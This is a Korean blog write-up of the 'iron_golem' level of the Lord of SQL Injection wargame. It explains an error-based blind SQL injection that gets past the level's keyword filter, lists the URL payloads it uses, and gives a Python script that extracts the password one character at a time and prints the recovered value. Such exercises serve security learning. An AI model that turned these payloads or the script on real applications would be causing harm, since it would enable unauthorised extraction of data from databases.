ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> iron_golem
    Wargame/Lord of SQL Injection 2021. 11. 23. 14:33

    iron_golem

    전달받은 pw에서 prob, _, ., (), sleep, benchmark를 필터링한다.

    if(mysqli_error($db)) exit(mysqli_error($db));를 통해 에러 메시지를 출력한다.

    에러 메시지를 출력하는 경우, 에러 메시지를 기반으로 하는 SQL Injection인 Error Based SQL Injection을 수행할 수 있다.

     

    pw를 구해야 문제를 풀 수 있기 때문에, Error Based Blind SQL Injection을 수행해 한 글자씩 찾아야 한다.

    select * from table where 1 and if(1=1,1,(select 1 union select 2))을 통해

    if 절이 참이면 1을 반환하고, 거짓이면 select 1 union select 2 쿼리를 실행하여 복수의 값을 반환하면서 에러가 발생한다.

     

    이를 이용하여 pw의 길이를 ?pw=' or if(length(pw)=32,1,(select 1 union select 2))%23로 찾아보면

    pw의 길이가 32인 것을 확인할 수 있다.

     

    전 문제에서 pw가 한글이었기 때문에

    ?pw=' or if(length(substr(pw,1,1))=1,1,(select 1 union select 2))%23로 첫 글자의 크기를 알아보면

    첫 글자의 크기가 1이다. 따라서, ascii를 이용해 찾을 수 있다.

    ?pw=' or if(ascii(substr(pw,1,1))=47,1,(select 1 union select 2))%23를 입력하면

    에러 메시지를 출력한다. 이 에러메시지를 출력하지 않는 글자를 pw에 추가하면 된다.

     

    직접 한 글자씩 찾기 힘들기 때문에, 파이썬 코드를 이용해 찾으면

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "Subquery returns more than 1 row"
    pw = ""
    
    for i in range(1, 33):
        for j in range(33, 127):
            url = baseurl + "?pw=' or if(ascii(substr(pw,{},1))={},1,(select 1 union select 2))%23".format(i,j)
            res = requests.get(url=url, cookies=cookies)
            print(url)
    
            if want_str not in res.text:
                pw += chr(j)
                print("{} : {}".format(i, chr(j)))
                break
    
    print("pw : ", pw)

     

    이제 ?pw=06b5a6c16e8830475f983cc3a825ee9a를 입력하면

    문제를 풀 수 있다.

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    <Lord of SQL Injection> hell fire  (0) 2021.11.25
    <Lord of SQL Injection> dark eyes  (0) 2021.11.24
    <Lord of SQL Injection> dragon  (0) 2021.11.22
    <Lord of SQL Injection> xavis  (0) 2021.11.20
    <Lord of SQL Injection> nightmare  (0) 2021.11.19
Designed by Tistory.